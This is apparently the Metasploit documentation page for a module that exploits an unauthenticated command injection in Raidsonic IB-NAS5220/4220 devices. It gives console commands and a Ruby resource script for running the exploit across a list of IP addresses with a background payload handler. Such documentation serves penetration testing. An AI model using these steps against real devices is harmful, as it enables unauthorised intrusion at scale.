List of CVEs: -
Different Raidsonic NAS devices are vulnerable to OS command injection via the web interface. The vulnerability exists in timeHandler.cgi, which is accessible without authentication. This module has been tested with the versions IB-NAS5220 and IB-NAS4220. Since this module is adding a new user and modifying the inetd daemon configuration, this module is set to ManualRanking and could cause target instability.
Module Ranking and Traits
Module Ranking:
- manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.
Basic Usage
Using raidsonic_nas_ib5220_exec_noauth against a single host
Normally, you can use exploit/linux/http/raidsonic_nas_ib5220_exec_noauth this way:
msf > use exploit/linux/http/raidsonic_nas_ib5220_exec_noauth
msf exploit(raidsonic_nas_ib5220_exec_noauth) > show targets
... a list of targets ...
msf exploit(raidsonic_nas_ib5220_exec_noauth) > set TARGET target-id
msf exploit(raidsonic_nas_ib5220_exec_noauth) > show options
... show and set options ...
msf exploit(raidsonic_nas_ib5220_exec_noauth) > exploit
Using raidsonic_nas_ib5220_exec_noauth against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your raidsonic_nas_ib5220_exec_noauth will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/raidsonic_nas_ib5220_exec_noauth")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
